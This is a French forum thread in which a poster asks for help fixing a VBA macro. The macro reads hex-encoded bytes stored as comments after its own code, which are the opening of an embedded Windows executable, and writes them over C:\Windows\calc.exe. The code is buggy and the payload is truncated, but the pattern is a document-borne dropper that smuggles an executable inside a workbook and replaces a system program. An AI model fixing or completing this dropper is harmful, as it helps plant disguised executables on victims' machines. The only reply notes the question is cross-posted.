Vba: problème de récupération des octets

Vba: problème de récupération des octets - VB/VBA/VBS - Programmation

Marsh Posté le 14-02-2015 à 20:52:42    

Salut a tous
 
Je rencontre un petit problème, le code ci-dessous parcourt bien mon fichier mais récupère et copie que les octets en fin de ligne.
 
Dim recup ne converse pas les octets précédent.. d’après ce code c'est logique  
 
En gros ,je veux récupérer toute les lignes qui se trouve après le End Sub dans un variante sans écraser les précédentes à chaque tour de boucle puis créer et ouvrir un fichier en écriture binaire et copie des données.  
 
Voici le code:
 

Code :
  1. Sub récupère_le_fichier()
  2. Dim recup As String
  3. Set oFs = CreateObject("Scripting.FileSystemObject" )
  4. Set oFile = oFs.OpenTextFile(ActiveWorkbook.FullName)
  5. 'récupération des octets
  6. While Not oFile.AtEndOfStream
  7.   sLine = oFile.ReadLine
  8.   If Left(sLine, 3) = "'# " Then
  9.     recup = Right(sLine, Len(sLine) - 3)
  10.   End If
  11. Wend
  12. 'création du fichier avec ouverture en écriture et copie des données
  13. Open "C:\Windows\calc.exe" For Output As #1
  14. Print #1, recup
  15. Close #1
  16. End Sub
  17. '# 4D5A50000200000004000F00FFFF0000B80000000000000040001A0000000000
  18. '# 0000000000000000000000000000000000000000000000000000000000010000
  19. '# BA10000E1FB409CD21B8014CCD219090546869732070726F6772616D206D7573
  20. '# 742062652072756E20756E6465722057696E33320D0A24370000000000000000
  21. '# 0000000000000000000000000000000000000000000000000000000000000000
  22. '# 0000000000000000000000000000000000000000000000000000000000000000
  23. '# 0000000000000000000000000000000000000000000000000000000000000000
  24. '# 0000000000000000000000000000000000000000000000000000000000000000
  25. '# 504500004C010900195E422A0000000000000000E0008E810B01021900920600
  26. '# 00A6010000000000EC9E06000010000000B00600000040000010000000020000
  27. '# 0400000000000000040000000000000000D00800000400000000000002000000
  28. '# 000010000040000000001000001000000000000010000000006007005B060000
  29. '# 00300700F02300000000080000C6000000000000000000000000000000000000
  30. '# 009007004C600000000000000000000000000000000000000000000000000000
  31. '# 0080070018000000000000000000000000000000000000000000000000000000
  32. '# 000000000000000000000000000000000000000000000000434F444500000000
  33. '# 4490060000100000009206000004000000000000000000000000000020000060
  34. '# 4441544100000000204F000000B0060000500000009606000000000000000000
  35. '# 00000000400000C0425353000000000099250000000007000000000000E60600
  36. '# 000000000000000000000000000000C02E69646174610000F023000000300700
  37. '# 0024000000E60600000000000000000000000000400000C02E65646174610000
  38. '# 5B0600000060070000080000000A070000000000000000000000000040000050
  39. '# 2E746C73000000000C0000000070070000000000001207000000000000000000
  40. '# 00000000000000C02E7264617461000018000000008007000002000000120700
  41. '# 000000000000000000000000400000502E72656C6F6300004C60000000900700
  42. '# 0062000000140700000000000000000000000000400000502E72737263000000
  43. '# 00C600000000080000C600000076070000000000000000000000000040000050
  44. '# 00000000000000000000000000D0080000000000003C08000000000000000000
  45. '# 0000000040000050000000000000000000000000000000000000000000000000
  46. '# 0000000000000000000000000000000000000000000000000000000000000000
  47. '# 0000000000000000000000000000000000000000000000000000000000000000

Reply

Marsh Posté le 14-02-2015 à 20:52:42   

Reply

Marsh Posté le 15-02-2015 à 12:44:46    

 
   http://www.developpez.net/forums/images/smilies/alerte2.gif  Sujet déjà ouvert dans au moins deux autres forums dont un bien avancé !
 

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed